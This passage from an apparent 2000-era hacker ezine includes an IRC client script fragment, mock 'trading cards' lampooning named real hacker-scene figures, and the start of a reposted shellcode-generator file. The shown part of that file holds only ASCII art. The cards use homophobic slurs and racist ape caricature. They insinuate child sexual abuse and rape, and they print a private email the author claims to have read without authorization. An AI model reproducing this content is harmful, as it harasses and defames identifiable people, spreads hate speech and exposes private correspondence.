if (iscsetf(G $4) && !deop.test) { @ operc = hook(CUF $2) if (operc) { if (index(E $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) { @ operc = hook(CUF $cache[$4][$struct($5)]) if (index(O $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) = = -1) { @ mode.add($4 -o $5) } } }{@ mode.add($4 -o $5)} } ^assign -operc } ^assign -deop.test } } } on ^hook "MODEk+ % % % % %" { @ chan[$4][K] = [$5] if (!oper.test) { if (!iscsetf(K $4)) { if ([$2]!=[SERVER]) { if (iscsetf(M $4)) { if ([$strip(\;$$^V^B^_^[^X^L $5)]!=[$5]) { quote.add KICK $3 $1 :^BBogus key detected!^B @ mode.add($4 -k $5) } } }{ if (iscsetf(N $4)) { @ mode.add($4 -k $5) } } } } } on ^hook "MODEk- *" { ^assign -chan[$4][K] } on ^mode * { if (!isset(Z)) {if ([$1]==[$C]) {echo *** Mode change \"$2-\" on $ch($1) by ^B$0^B} {echo *** Mode change \"$2-\" on $ch($1) by $0}} } on ^mode "% #% %bb *" { if (!isset(Z)) {if ([$1]==[$C]) {echo *** Mode stack \($2\) on $ch($1) by ^B$0^B} {echo *** Mode stack \($2\) on ^B$ch($1)\^B by $0}} } on ^mode "*.* #% *" { if (!isset(Z)) {if ([$1]==[$C]) {echo *** Mode hack \"$2-\" on $ch($1) \(^B$0^B\)} {echo *** Mode hack \"$2-\" on ^B$ch($1)\^B \($0\)}} } alias mode.add { if (rindex(-+ $chan[$0][M0]) >= 4) { quote MODE $hook(CLC $0) $chan[$0][M0] $chan[$0][M1] ^assign -chan[$0][M0] ^assign -chan[$0][M1] } @ chan[$0][M0] = [$chan[$0][M0]]##[$1] @ chan[$0][M1] = [$chan[$0][M1]]##[$2- ] } alias mode.flush { @ mf = hook(CLI $0) if ([$chan[$mf][M0]]!=[]) { if (ischanop($N $0)) { quote MODE $0 $chan[$mf][M0] $chan[$mf][M1] } ^assign -chan[$mf][M0] ^assign -chan[$mf][M1] } ^assign -mf } alias quote.add { @ qn = [$*] if ((@temp.quote + @qn) >= 1000) { quote.flush if (@qn >= 1000) {quote $qn}{@ temp.quote = [$qn]##[$decode(AN)]} }{ @ temp.quote = [$temp.quote]##[$decode(AN)]##[$qn] } ^assign -qn } alias quote.flush { if (temp.quote) { quote $temp.quote ^assign -temp.quote } } [END_CUT] h4g1s.irc [END_DIR] l00pb4q ___________________________________ .-' `-. [04]| l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz |[04] [04]| by: |[04] [04]| l4m4h t4m4h INC |[04] `-.___________________________________.-' t0 wh0m th1z w4r3z m4y c0nc3rn: de4r re4der, eye 4m ple4z'd two inph0rm u th4t l4m4h t4m4h incorp3r4t3d h4z begun a n3w pr0j3kt: l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz. th3z c4rdz c0ns1st 0f all y0r ph4v0r1te h4kr h3r0z@! curr3ntly w3 r try1ng t0 g3t th3m includ3d in b0x3z of kr4kr j4kz and b1g ch3w bubbl3 gumz. th3r3 w1ll b m4ny m0r3 k4rdz tw0 k0me. k33p y0r b4n4n4z pe4l3d and b 0n the w4tch0ut f0r future rele4s3s 0f thez w0nderful k4rdz. wh4t k4n eye d0 w1th l4m4h t4m4h h/p/v/c/a tr4d1ng k4rdz?! w3ll, u c4n d0 alm0st anything. th3y r the ide4l party f4v0r at k0nz lyke pumpcon, defc0n, and fagh4t c0n. u c4n pl4y str4p h/p/v/c/a p0ker. u c4n pl4y tw1st3r us1ng h/p/v/c/a tr4d1ng k4rdz. u c4n buy cert4in it3mz @ the doll4r gener4l in compt0n with th3z k4rdz (k4rd st4mpz). y0u k4n tr4de 4 w4r3z w1th th3z w0nderful k4rdz on the eyeRC. y0u k4n l4mein4te th3z k4rdz and be4t a wh1teh4t 0ver the he4d w1th them. l4m4h t4m4h h/p/v/c/a tr4d1ng k4rdz M4KE THE PERF3CT BEVER4GE (J0LT) CO4ST3RZ! the p0int iz, wh3r3ver l4m4h t4m4h hpvca tr4d1ng k4rdz r, th3 p4rty iz there tw0. h3r3 we w1ll include the f1rst s3t 0f l4m4h t4m4h h/p/v/c/a tr4d1ng k4rdz. 0ur fe4tured elitez include: * RLoxley * route * so1o * emmanuel * lore * gov-boi 0k i kn0w ur sucreti4l gl4ndz r juzt 00z1ng ph0r the w4r3z s0 eldump th1z mfqr. -- l4m4h t4m4h INC. [BEGIN_DIR] lt [CUT_HERE] Intro 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle: Intro(#1) | Affiliations: l4m4h t4m4h tr4d1ng k4rdz | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: THE FIRST EVER H/P/V/C/A TR4D1NG K4RDZ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: SPRE4D H0PE T0 CH1LDR3N W0RLDW1DE | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: "ILL DO EVERYTHING BUT I WONT NUKE FBI.GOV" <- | |> meatloaf | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: SEE DESCR1PTION BEL0W | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h br1ngz u H/P/V/C/A TR4D1NG K4RDZ !@#!@#!# | + + | th3z k4rdz w1ll c0nt4in all y0ur H/P/V/C/A her0z @# | + + | th3z k4rdz w1ll b distr0'd in ph4s3s, f0r ex4mpl3 0ur f1rst | + ph4ze includez: RLoxley,route,so1o,emmanuel,lore,lusta, + | gov-boi,Al Hugher,Solar Designer <- juzt t0 g3t shit k1qst4rtd| + + | th4y w1ll f0ll0w a str1ct f0rmat. Y0U c4n uze th3z c4rdz | + any w4y u want suzh a$: H/P/V/C/A P0K3R, H/P/V/C/A MONOPOLY + | & much much more@#! EVEN TR4D3 F0R W4R3Z WITH TH3M!@#! | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] Intro [CUT_HERE] RLoxley 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle: RLoxley | Affiliationz: HackPhreak, Condemnation, gH | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: Various ETHICS paperz, #hackphreak@unet, 46G-CP| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: Can bore u 2 death with lectures, Wuz a NAVY | |> SEAL, haz many a cult followrz (#hp), h1z blUe bl0qrz emb0dy | |> the infam0uz "R4Y 0F DE4TH", he rUnz pe4ce and pr0tecti0n!@ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: "harassment = ban" | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: 6' 320lbs, long bushy h4ir, blUe bl0qrz, | |> cl0wn noze, double ch1n, h0rnz, gut, hp tatoo on hiz fohead | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | h0rnz -> %%%%%%% <- bUzhy h4ir | + (hidden) %/%%%%%\% + | : @\[o]^[o]/@ <- k-k00l spex (blue bl0qrz) | + : %%%| * |%%% <- cl0wn noze + | .:. %%%%( o )%%%% <- bre4th 0f dEath | + : %%%%%% --- %%%%%% <- m0re buzhY h4ir + | | + Soci4l n0te: h1z h0w4rd st3rn appe4rEnce e4rnz h1m br*wnY + | p0intZ am0ngZt h1z pe4rZ | + + | W4RNING: h1z blUe bl0qrz emb0dy the "R4Y 0F DE4TH" | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] RLoxley [CUT_HERE] emmanuel 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle: Emmanuel (Oryan QUEST's father) | Affiliations: 2600 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: 2600 radio show (off the hook), Contributed | |> many original philes to the LesserAgedPorn Society, gave | |> Kevin Mitnick AIDS/ORAL HERPIES/SCABIES/IAS (ItchyAssSyndrom)| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: He hunts in packs, he c4n wh1stle a 2600 tone | |> into your e4r and fuk up y0ur equilibrium, he kn0wz the | |> analyzr, he c4n unleash Oryan QUEST on u (Oryan QUEST is | |> currently loqt in h1s f4thrz b4sem4nt itz fukt), he b3l0ngz | |> to EHAP (so doez RLOLXLEY) (WHAT THE FUCK), he k4n h1de | |> ch1ldr3n in h1s f4t when th4 FBI arr1v3Z, h3 p0s3ses the | |> n4sty c0q 0f De4TH - one enc0unter w1th any fluidz and u will| |> d1e isnt4ntly fr0m eveRY sTD kn0wn to m4nk1nd & pl4n3t e4rth | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: -> | |> teehee :D furlong: you awake? | |> furlong (zeus@alamo.satexas.com) (Internic Commercial) | |> ircname : I'm gay, really, I am | |> channels : @#gaycams @#gayteenpics @#gayteenboys | |> @#gaynetmeeting @#guycams @#gayteennetmeeting @#gaydads4sons | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: h3z beyond the sk0pe of thez tr4d1ng k4rdz | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TAKEN FROM A NASA SPACE HUBBLE TELESCOPE (only pic on record) | + + | #%%# /^\ <- Destroyed 6 NYC bl0kz | + ##%### || \ + | ##( )##=======#==%%==#=|| O ~. | + ####( )% || / . + | #%##%%# ||/ . ' | + . + | __`\./___ | + + | He g0t t00 excited aT the LesserAgedPorn Society CON 1999 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] emmanuel [CUT_HERE] gov-boi 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle: gov-boi | Affiliations: gH, hack.co.za, #DARKNET | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: gov-boi h4z brought t0 uz the b3st exploitz on | |> the pl4n3t - his s1te hack.co.za speci4l1zez in expl0itz that| |> *if* the expl0itable prog0r4m *wuz* setuid root - WE'd GET | |> r00t sh3llz!@#!@ s0 b4sic4lly we r h0peing f0r adm1nz too | |> recursivly chm0d everyth1ng setuid root#@! TH1S W1LL B TH3 | |> D4Y FOR THE H4CK3R!@#!@ "/bin/ls" exploit by loophole [gH], | |> h3 h4z br0ught t0 uz the w0nd3rz 0f #DARKNET on efnet - ipph | |> u r int0 wAAAAAArEEz tr4de th1s is the pl4ce 4u (so1o !@)!, | |> and f1n4lly - wh4t w0uld we d0 with0ut all h1z gH expl0it/ | |> msc4n fr0nt3ndz - WERD GOV-BOI TH4NKZ (o shyt i juzt f0und | |> /bin/cat suid root WaREZ waREZZZZZZ waREZZZZZZZZZZZZZZZZZ) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: d0nkey k0ng p1n att4k - he inc0rper8z a d0nky | |> k0ng f1st sl4m w1th a double dr4g0n p1n att4ck t0 destr0y h1z| |> v1ct1mz, sup3r y3ll0w s0dim1zr - h3 s0d1m1z3s y0u w1th | |> _fr3sh_ b4nn4n4 (n0 r0tt0n b4nn4nz), HE CAN RM YUOR BOX AT | |> ANY MOMENT (albeit, only pr0gz normally not suidr00t must be | |> ch4nged to suidr00t, sory already suidr00t progr4mz r not | |> vuln3rable),h3 - lyke RLoxley - h4z many followerz "You may | |> stop one of us but you cant stop us all" werd | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: eye d0nt even kn0w th1s f4gg0t s0 eye'll m4k3 1up| |> "Heh, mixter is elite." | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: h3 l00kz just lyke an APE - i g0t n0thing | |> against zaire d@@dz but th1s one t4k3z the c4k3, "WaReZ" | |> tatoo'd to h1s forhe4d, l@@kz just lyke his m0ther | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | n@t1ce h1z ZAIRE appear3nce (t4k3n s0mewh3r3 in th3 c0ng0): | + .-"""-. + | / WaReZ \ <- ap3 lyke f0rhe4d | + (_|o o/ |_ <- ap3 lyke eyez + | / " \ ,_) <- ap3 lyke e4rz | + \ O /__/ <- ap3 lyke m0uth (hez stalking h1z prey, + | ;--' (then h3 w1ll pe4l the phuq out of it) | + <- n@tice the dr3wl dr1ppn from hiz ch1n + | | + n@te: h3 1z dr@@l'n bec0z their r b4nn4n4z full o WAReZZZZZ + | nearby | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] gov-boi [CUT_HERE] lore 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle(s): lore,l-n1nja,fiddler | Affiliations: (cheq this | |> du0dz affiliationz out h4h4h4h4h4!) gH, TeamSploit, f0rpaxe | |> TREATY (ROFLMAOLoL ahha), #fubuhacking @ undernet (b4h4h4h4),| |> Team HackPhreak (aaaaaahahahahahah), XYZ (wh0a, s0me s0urcez | |> t3ll uz l0re iz 1n XYZ g0od g0ing br0 now ur 3v3n 1000000000 | |> timez m0re LAyME), #hacktech (l4m3rz), 0h yeh btw TREATY | |> st4ndz f0r lyke TEDDI RUXPIN ENTHUSIASTS what a f4gg0t, | |> packetstorm security, insomnia communications | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: h3z an av1d p0ast3r 0f DoS att4kz f0r | |> pack3tst0rm security, h3z g0t t0nz 0f defacementz on | |> attrition.org k0z hez 0ne 0f the b3st defacerz there iz, h3 | |> add3d elite k0l0urz to smurf s0urcez, he c0ntrib'd linux | |> 2.0.36 k3rn3l s0urcE t0 ftp.uu.net/tmp f0r all the k1d1ez to | |> have, h3 h4z als0 contributed much t00 the h4ckphre4k k4use | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: h3z g0t a bcast list 0ut 0f th1s w0rld i sw4re| |> p1ss h1m 0ff and ur fuqn m0d3m iz powd3r3d to4st, he w0rx 4 | |> xyz s0 hez g0t all the l4t3st 0day (n@t3 t0 s3lf, dont run | |> netsc4pe he w1ll cr4sh it @!#!@#!@), hez g0t 2 BB gunz (co2 | |> p0wered i m1ght ADD) m0unt3d t0 h1z tricycle for wh3n he g0ez| |> r0und hall'n *buq buq buq*, 1f u r f3m4l3 bew4r3 0f th1s | |> l4m3A$$ m0thrfukr h3'll pr0b4bly trY and r4pe u | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: -> | | l4m4ht4m4h | | i had checkpoint mailing me | | oh really? | | what they say ? | | when was the last time a high profile company msiled | |> you | | hahaha | | | | i (l4m4ht4m4h) f0und th1s v3ry funny bec0z i h4v3 ax$ | | t0 h1z XYZ m4il s0 l3tz se4 wh4t h3z t4lk1n ab0ut: | | | |Message: 22 of 34 | |Folder: INBOX | |From: "Scott Walker Register" scott.register@us.checkpoint.com | |to Address Book Filter Sender | |Date: Thu, 6 Jul 2000 15:46:46 -0500 | |Subject: FW-1 DOS attack inquiry | |Header: Displaying BriefHeader Show Full Header | |[line.gif] | |Gentlemen- | |After extensive testing with the source code you provided, we | |>have | |been unable to reproduce any system problems with any version | |>or | |platform. Could you please provide more details, such as the | |>exact | |version and platform where you were able to produce a system | |>crash? | |Thanks, | |-SwR | | | | wh04 l0re n3v3r em4il3d h1m b4q, i gueSS h3z keepn it -1d4yz | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: 6'5 180 ALL MUSCLE, a cross dug into his | |> chEEq, bcast l1st bandana - for when hez claimin, so1o'z | |> emirgibeeprteledce - getz ahold of hiz boy so1o quik as hell,| |> h3z pitch white kinda lyke gh0st | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + ^^^^^^^^^ <- cheq 0ut h1z buzzkut + | *( O o )* <- n@te: if u r evr cr4qn on h1m, he 1z | + | ? .:.| he4ring imp4ired + | \ [] : / | + `-----' <- h3z in awe, h3 just n0ticed + | n@t1ce how ugly he iz netscan.org 1n hiz win2k b0x'z monitr | + hez th1nkn "i w1sh i c0uld smurf l4m4h+ | t4m4h" <- h4h4 | + + | f4r 0ff in the b4qr0und eye'M ch3qn h1z XYZm4il 4 WaRRRRRez | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] lore [CUT_HERE] route 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle: route | Affiliationz: Phrack, The Guild, TiC, LIBNET | |> Packetfactory, r00t, r00tparty, layer8 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: Phrack editor, Libnet, TheInfinityConcept | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: Wrote many a DoS att4k, will kiqban you from | |> #phrack, uzez b1g fuqn w0rdz in h1z paperz/c0dez, gave m1tniq| |> Libnet v0.1 pri0r to hiz arrest (fe4r), C4N STE4L YOUR HONEY | |> (honey meanz chiq) BY FLASHING THEM W1TH HIZ BIN4RY CIRCUITRY| |> TATOO @! JUZT 0NE GL4NCE AND Y0URE 1N H1Z P4NTZ (hiz motto) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: "* route is away [coding]" | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: Depends on the CON, sliqt up h4irWaReZ, b1g | |> @ss forhe4d, r4y b4nz spex, g0 tee fu m4n chu, oily sk1n, | |> bin4ry circuitrY t4t00, LIBNET tatto on hiz genitalia, bu1lt | |> lyke pee wee h4r man on the ho4rze, rusty coq ring (he forgot| |> Nirva gave it too him) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + _\.//|/.\._ <- h4ir dun sliqt up + | > < | + @\-/@ <- r4y banz, eyez r open w1de becoz he se4z + | | ^ | b1g pl4nz - b1g future w1th Libnet(TM) by| + \ <_> / h1z s1de + | --,,,-- <- g0 tee fu man chU | + + | N@te t@ self: route loox lyke a fucking f@ggot | + + | N@te: p1c taken aft3r he finished the Libnet lUzrz RefMan | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] route [CUT_HERE] so1o 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle: so1o,so7o,t,es | Affiliations: Code ZeRo, m1lw0rm, | |> ashtray, ns2.co.uk, coderz.org 0r s0me shYt | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: Code ZeRo, Defaced many a webp4ge, mscan'd many| |> a netw0rk, wuz the b1ggezt k0urieR in h4kr h1story, k0uri3r'd| |> many a k0de, wuz in m4ny ezinez (2 b m4de fun of: BoW, b4b0, | |> the l1st g0ez on), so1o.irc (automated k0de begging scr1pt), | |> dr0pt RLoxleyz inph()'z | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: c4n basic4lly get any k0de he wrote an auto- | |> mated c0de begg1ng scr1pt (b4sic4lly what eye am trying 2 say| |> iz -> Y0UR W4R3Z _IZ_NOT_S4F3_), h3z a .uk g4ngmembr (armed | |> w1th batt0n WaReZ), carriez h1s k0deSurviv0r t00lk1t wherevr | |> he g0ez (arm3d w1th batt0n and c0deZ), wh3n he enc0unterz u | |> in pers0n (at a CON) he we4rz h1z neuroWaReZ goggl3z which | |> f0rc3 u t0 h4nd 0vr your fl0ppy d1ske3tteZ, he bu1lt the | |> f1rst m4ss b0dy orrifice sc4nr for when u trY t0 h1de ur | |> WaReZ fr0m h1m, h3 1z arm3d w1th the l4t3st 0d4y b3c0z n0w he| |> 1z a p4yed h4kr (penetration tezter @ burger k1ng), one l4zt | |> word -> th1s gUy iz very d4nger0uZ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: -> | |> "h4y br0 g0t anY 0d4y WAreZ??" | |> "C4n u hUKe up ur 0ld budy w1th s0me -1d4y WArEZ ?????" | |> "c0m3 on br0 g1mme s0me fuqn k0d3z" | |> "du0de, wtf d0 i h4vet0 d0, suq ur k0q irl 4 waRREEz?" | |> "COME ON M4N U K4N HUKE ME UP W1TH W4R3Z I D0NT DISTR0" | |> "ill tr4de u tonz of rootshell waReZ 4 one 0day warEZ." | |> "LoL :) stop pl4yin, oh wait holdup, i g0t dcc autoget on" | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (w0rk1n) %%%%% <- j4rry kurl m0h4wk (eLitE in .uk) | + %%%%% + | ^(WAREZ) (warez)^ <- h1z neuroWaReZ g0ggl3z (uze flaq) | + [v^WAREZ^v] <- h3 sw4ll0wZ wAAAArEZ whole @!#!@ + | # <- sk4thed fr0m "WaReZ surv1v0r" the | + m4de 4 ZDTV m0vie + | (normal) %%%%% | + %%%%% <- j3rry kurl h4wk + | ^( O ) ( O )^ <- n0te h1z neuroWaReZ g0ggl3z r off | + [v^v^v^v^v] <- n0tice hez WarEzivourous -Eatz WaREz+ | # <- the sk4the (lyke cr4wf0rz m0le) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] so1o [CUT_HERE] skel 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Handle(s): | Affiliations: | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Contributions: | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Special powerz: | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Famous line: | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Charactoristics: | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | p1c | + + | | + + | | + + | | + + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [END_CUT] skel [END_DIR] lt ___________________________ .-' `-. [05]| a w4lk d0wn mem0ry l4me |[05] [05]| by: |[05] [05]| Team Sploit |[05] `-.___________________________.-' The reason we are reposting this is because, well, we are fed the hell up at lamers biting our style. Here we include the original shellgen.c and shellgen advisory + exploit. Then, we include the lame ass attempt to bite TeamSploit's style by Scrippie and Team b0f. They wrote a lame as hell exploit for the wonderful hellkit. FUCK OFF LAMERS. [BEGIN_DIR] shellgen [CUT_HERE] shellgen.c /* shellcode generator by Mixter PRIVATE - DO NOT DISTRIBUTE! */ char *welk= "\x20\x20\x20\x20\x20\x20\x20\x2f\x5c\x0a\x20\x20\x20\x20\x20\x20\x7b\x2e" "\x2d\x7d\x0a\x20\x20\x20\x20\x20\x3b\x5f\x2e\x2d\x27\x5c\x0a\x20\x20\x20" "\x20\x7b\x20\x20\x20\x20\x5f\x2e\x7d\x5f\x0a\x20\x20\x20\x20\x20\x5c\x2e" "\x2d\x27\x20\x2f\x20\x20\x60\x2c\x0a\x20\x20\x20\x20\x20\x20\x5c\x20\x20" "\x7c\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x7c\x20" "\x20\x2c\x2f\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x5c\x7c\x5f\x2f\x0a"; char *ark= "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f" "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x27\x22\x22\x2e\x27\x2f\x7c\x5c\x60" "\x2e\x22\x22\x27\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x20\x20\x2e\x27\x20" 